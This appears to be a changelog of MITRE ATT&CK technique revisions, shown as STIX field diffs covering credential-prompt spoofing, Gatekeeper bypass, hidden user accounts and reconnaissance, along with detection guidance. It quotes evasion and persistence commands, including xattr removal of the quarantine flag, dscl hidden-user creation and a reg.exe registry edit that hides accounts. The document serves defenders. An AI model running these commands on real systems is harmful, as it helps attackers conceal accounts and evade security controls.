| description | Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015). | Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) |
| external_references[5]['source_name'] | Enigma Phishing for Credentials Jan 2015 | Spoofing credential dialogs |
| external_references[5]['description'] | Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018. | Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021. |
| external_references[5]['url'] | https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ | https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/ |
| x_mitre_detection | Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. | Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Enigma Phishing for Credentials Jan 2015', 'description': 'Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.', 'url': 'https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/'} | |
| x_mitre_data_sources | Script: Script Execution | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_platforms | Linux |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify file attributes that signify programs | t | 1 | Adversaries may modify file attributes that signify programs |
| > | are from untrusted sources to subvert Gatekeeper controls. | > | are from untrusted sources to subvert Gatekeeper controls i | ||
| > | In macOS and OS X, when applications or programs are downloa | > | n macOS. When documents, applications, or programs are downl | ||
| > | ded from the internet, there is a special attribute set on t | > | oaded an extended attribute (xattr) called <code>com.apple.q | ||
| > | he file called <code>com.apple.quarantine</code>. This attri | > | uarantine</code> can be set on the file by the application p | ||
| > | bute is read by Apple's Gatekeeper defense program at execut | > | erforming the download. This attribute, also known as a quar | ||
| > | ion time and provides a prompt to the user to allow or deny | > | antine flag, is read by Apple's Gatekeeper defense program w | ||
| > | execution. Apps loaded onto the system from USB flash driv | > | hen the file is run and provides a prompt to the user to all | ||
| > | e, optical disk, external hard drive, or even from a drive s | > | ow or deny execution. Gatekeeper also monitors an applicatio | ||
| > | hared over the local network won’t set this flag. Additional | > | n's usage of dynamic libraries (dylibs) loaded outside the a | ||
| > | ly, it is possible to avoid setting this flag using [Drive-b | > | pplication folder on any quarantined binary, often using the | ||
| > | y Compromise](https://attack.mitre.org/techniques/T1189). Th | > | <code>dlopen</code> function. If the quarantine flag is set | ||
| > | is completely bypasses the built-in Gatekeeper check. (Citat | > | in macOS 10.15+, Gatekeeper also checks for a notarization | ||
| > | ion: Methods of Mac Malware Persistence) The presence of the | > | ticket and sends a cryptographic hash to Apple's servers to | ||
| > | quarantine flag can be checked by the xattr command <code>x | > | check for validity for all unsigned executables.(Citation: T | ||
| > | attr /path/to/MyApp.app</code> for <code>com.apple.quarantin | > | heEclecticLightCompany apple notarization )(Citation: Bypass | ||
| > | e</code>. Similarly, given sudo access or elevated permissio | > | ing Gatekeeper) The quarantine flag is an opt-in system and | ||
| > | n, this attribute can be removed with xattr as well, <code>s | > | not imposed by macOS. If an application opts-in, a file dow | ||
| > | udo xattr -r -d com.apple.quarantine /path/to/MyApp.app</cod | > | nloaded from the Internet will be given a quarantine flag be | ||
| > | e>. (Citation: Clearing quarantine attribute) (Citation: Oce | > | fore being saved to disk. Any application or user with write | ||
| > | anLotus for OS X) In typical operation, a file will be dow | > | permissions to the file can change or strip the quarantine | ||
| > | nloaded from the internet and given a quarantine flag before | > | flag. With elevated permission (sudo), this attribute can be | ||
| > | being saved to disk. When the user tries to open the file o | > | removed from any file. The presence of the <code>com.apple. | ||
| > | r application, macOS’s gatekeeper will step in and check for | > | quarantine</code> quarantine flag can be checked with the xa | ||
| > | the presence of this flag. If it exists, then macOS will th | > | ttr command <code>xattr -l /path/to/examplefile</code>. Simi | ||
| > | en prompt the user to confirmation that they want to run the | > | larly, this attribute can be recursively removed from all fi | ||
| > | program and will even provide the URL where the application | > | les in a folder using xattr, <code>sudo xattr -d com.apple.q | ||
| > | came from. However, this is all based on the file being dow | > | uarantine /path/to/folder</code>.(Citation: 20 macOS Common | ||
| > | nloaded from a quarantine-savvy application. (Citation: Bypa | > | Tools and Techniques)(Citation: TheEclecticLightCompany Quar | ||
| > | ssing Gatekeeper) | > | antine and the flag)(Citation: theevilbit gatekeeper bypass | ||
| > | 2021) Apps and files loaded onto the system from a USB flas | ||||
| > | h drive, optical disk, external hard drive, from a drive sha | ||||
| > | red over the local network, or using the <code>curl</code> c | ||||
| > | ommand do not set this flag. Additionally, it is possible to | ||||
| > | avoid setting this flag using [Drive-by Compromise](https:/ | ||||
| > | /attack.mitre.org/techniques/T1189), which may bypass Gateke | ||||
| > | eper. (Citation: Methods of Mac Malware Persistence)(Citatio | ||||
| > | n: Clearing quarantine attribute)(Citation: OceanLotus for O | ||||
| > | S X) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:41:20.063000+00:00 | 2021-10-14 21:18:30.629000+00:00 |
| description | Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls. In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.
Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)
In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper) | Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)
The quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)
Apps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X) |
| external_references[1]['source_name'] | Methods of Mac Malware Persistence | TheEclecticLightCompany apple notarization |
| external_references[1]['description'] | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. | How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021. |
| external_references[1]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://eclecticlight.co/2020/08/28/how-notarization-works/ |
| external_references[2]['source_name'] | Clearing quarantine attribute | Bypassing Gatekeeper |
| external_references[2]['description'] | Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017. | Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017. |
| external_references[2]['url'] | https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/ | https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ |
| external_references[3]['source_name'] | OceanLotus for OS X | 20 macOS Common Tools and Techniques |
| external_references[3]['description'] | Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. | Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. |
| external_references[3]['url'] | https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update | https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ |
| external_references[4]['source_name'] | Bypassing Gatekeeper | TheEclecticLightCompany Quarantine and the flag |
| external_references[4]['description'] | Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017. | hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021. |
| external_references[4]['url'] | https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ | https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/ |
| x_mitre_detection | Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. | The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates.
Review false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag.
QuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'theevilbit gatekeeper bypass 2021', 'description': 'Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.', 'url': 'https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/'} | |
| external_references | {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'} | |
| external_references | {'source_name': 'Clearing quarantine attribute', 'description': 'Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.', 'url': 'https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/'} | |
| external_references | {'source_name': 'OceanLotus for OS X', 'description': 'Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.', 'url': 'https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:23:58.024000+00:00 | 2021-10-17 16:35:09.878000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather information about the victim's organi | t | 1 | Adversaries may gather information about the victim's organi |
| > | zation that can be used during targeting. Information about | > | zation that can be used during targeting. Information about | ||
| > | an organization may include a variety of details, including | > | an organization may include a variety of details, including | ||
| > | the names of divisions/departments, specifics of business op | > | the names of divisions/departments, specifics of business op | ||
| > | erations, as well as the roles and responsibilities of key e | > | erations, as well as the roles and responsibilities of key e | ||
| > | mployees. Adversaries may gather this information in variou | > | mployees. Adversaries may gather this information in variou | ||
| > | s ways, such as direct elicitation via [Phishing for Informa | > | s ways, such as direct elicitation via [Phishing for Informa | ||
| > | tion](https://attack.mitre.org/techniques/T1598). Informatio | > | tion](https://attack.mitre.org/techniques/T1598). Informatio | ||
| > | n about an organization may also be exposed to adversaries v | > | n about an organization may also be exposed to adversaries v | ||
| > | ia online or other accessible data sets (ex: [Social Media]( | > | ia online or other accessible data sets (ex: [Social Media]( | ||
| > | https://attack.mitre.org/techniques/T1593/001) or [Search Vi | > | https://attack.mitre.org/techniques/T1593/001) or [Search Vi | ||
| > | ctim-Owned Websites](https://attack.mitre.org/techniques/T15 | > | ctim-Owned Websites](https://attack.mitre.org/techniques/T15 | ||
| > | 94)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Bu | > | 94)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC ED | ||
| > | siness Lookup) Gathering this information may reveal opportu | > | GAR Search) Gathering this information may reveal opportunit | ||
| > | nities for other forms of reconnaissance (ex: [Phishing for | > | ies for other forms of reconnaissance (ex: [Phishing for Inf | ||
| > | Information](https://attack.mitre.org/techniques/T1598) or [ | > | ormation](https://attack.mitre.org/techniques/T1598) or [Sea | ||
| > | Search Open Websites/Domains](https://attack.mitre.org/techn | > | rch Open Websites/Domains](https://attack.mitre.org/techniqu | ||
| > | iques/T1593)), establishing operational resources (ex: [Esta | > | es/T1593)), establishing operational resources (ex: [Establi | ||
| > | blish Accounts](https://attack.mitre.org/techniques/T1585) o | > | sh Accounts](https://attack.mitre.org/techniques/T1585) or [ | ||
| > | r [Compromise Accounts](https://attack.mitre.org/techniques/ | > | Compromise Accounts](https://attack.mitre.org/techniques/T15 | ||
| > | T1586)), and/or initial access (ex: [Phishing](https://attac | > | 86)), and/or initial access (ex: [Phishing](https://attack.m | ||
| > | k.mitre.org/techniques/T1566) or [Trusted Relationship](http | > | itre.org/techniques/T1566) or [Trusted Relationship](https:/ | ||
| > | s://attack.mitre.org/techniques/T1199)). | > | /attack.mitre.org/techniques/T1199)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:39:09.021000+00:00 | 2021-08-27 15:37:09.343000+00:00 |
| description | Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
| external_references[2]['source_name'] | DOB Business Lookup | SEC EDGAR Search |
| external_references[2]['description'] | Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020. | U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021. |
| external_references[2]['url'] | https://www.dobsearch.com/business-lookup/ | https://www.sec.gov/edgar/search-and-access |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:23:21.031000+00:00 | 2021-10-17 16:32:10.810000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may introduce computer accessories, computers, o | t | 1 | Adversaries may introduce computer accessories, computers, o |
| > | r networking hardware into a system or network that can be u | > | r networking hardware into a system or network that can be u | ||
| > | sed as a vector to gain access. While public references of u | > | sed as a vector to gain access. While public references of u | ||
| > | sage by APT groups are scarce, many penetration testers leve | > | sage by threat actors are scarce, many red teams/penetration | ||
| > | rage hardware additions for initial access. Commercial and o | > | testers leverage hardware additions for initial access. Com | ||
| > | pen source products are leveraged with capabilities such as | > | mercial and open source products can be leveraged with capab | ||
| > | passive network tapping (Citation: Ossmann Star Feb 2011), m | > | ilities such as passive network tapping (Citation: Ossmann S | ||
| > | an-in-the middle encryption breaking (Citation: Aleks Weapon | > | tar Feb 2011), network traffic modification (i.e. [Adversary | ||
| > | s Nov 2015), keystroke injection (Citation: Hak5 RubberDuck | > | -in-the-Middle](https://attack.mitre.org/techniques/T1557)) | ||
| > | Dec 2016), kernel memory reading via DMA (Citation: Frisk DM | > | (Citation: Aleks Weapons Nov 2015), keystroke injection (Cit | ||
| > | A August 2016), adding new wireless access to an existing ne | > | ation: Hak5 RubberDuck Dec 2016), kernel memory reading via | ||
| > | twork (Citation: McMillan Pwn March 2012), and others. | > | DMA (Citation: Frisk DMA August 2016), addition of new wirel | ||
| > | ess access to an existing network (Citation: McMillan Pwn Ma | ||||
| > | rch 2012), and others. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-22 17:47:04.476000+00:00 | 2021-08-17 00:28:00.947000+00:00 |
| description | Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others. | Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), addition of new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others. |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use hidden users to mask the presence of use | t | 1 | Adversaries may use hidden users to mask the presence of use |
| > | r accounts they create. Every user account in macOS has a us | > | r accounts they create or modify. Normal users may want to h | ||
| > | erID associated with it. When creating a user, you can speci | > | ide users when there are many users accounts on a given syst | ||
| > | fy the userID for that account. There is a property value i | > | em or want to keep an account hidden from the other users on | ||
| > | n <code>/Library/Preferences/com.apple.loginwindow</code> ca | > | the system. In macOS, every user account has a userID asso | ||
| > | lled <code>Hide500Users</code> that prevents users with user | > | ciated with it. When creating a user, you can specify the us | ||
| > | IDs 500 and lower from appearing at the login screen. When u | > | erID for that account. There is a property value in <code>/L | ||
| > | sing the [Create Account](https://attack.mitre.org/technique | > | ibrary/Preferences/com.apple.loginwindow</code> called <code | ||
| > | s/T1136) technique with a userID under 500 (ex: <code>sudo d | > | >Hide500Users</code> that prevents users with userIDs 500 an | ||
| > | scl . -create /Users/username UniqueID 401</code>) and enabl | > | d lower from appearing at the login screen. When using the [ | ||
| > | ing this property (setting it to Yes), an adversary can conc | > | Create Account](https://attack.mitre.org/techniques/T1136) t | ||
| > | eal user accounts. (Citation: Cybereason OSX Pirrit). | > | echnique with a userID under 500 (ex: <code>sudo dscl . -cre | ||
| > | ate /Users/username UniqueID 401</code>) and enabling this p | ||||
| > | roperty (setting it to Yes), an adversary can conceal user a | ||||
| > | ccounts. (Citation: Cybereason OSX Pirrit) In Windows, adve | ||||
| > | rsaries may hide user accounts via settings in the Registry. | ||||
| > | For example, an adversary may add a value to the Windows Re | ||||
| > | gistry (via [Reg](https://attack.mitre.org/software/S0075) o | ||||
| > | r other means) that will hide the user “test” from the Windo | ||||
| > | ws login screen: <code>reg.exe ADD 'HKLM\SOFTWARE\Microsoft\ | ||||
| > | Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList' | ||||
| > | /v test /t REG_DWORD /d 0 /f</code>.(Citation: FireEye SMOKE | ||||
| > | DHAM June 2021)(Citation: US-CERT TA18-074A) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Omkar Gudhate'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-31 17:42:43.768000+00:00 | 2021-10-14 20:22:03.625000+00:00 |
| description | Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.
There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit). | Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system.
In macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit)
In Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user “test” from the Windows login screen: reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A) |
| x_mitre_detection | This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs. | This technique prevents a user from showing up at the log in screen, but all of the other signs of the user may still exist. For example, "hidden" users may still get a home directory and will appear in the authentication logs.
Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList key. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye SMOKEDHAM June 2021', 'description': 'FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html'} | |
| external_references | {'source_name': 'US-CERT TA18-074A', 'description': 'US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-074A'} | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_platforms | Windows |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
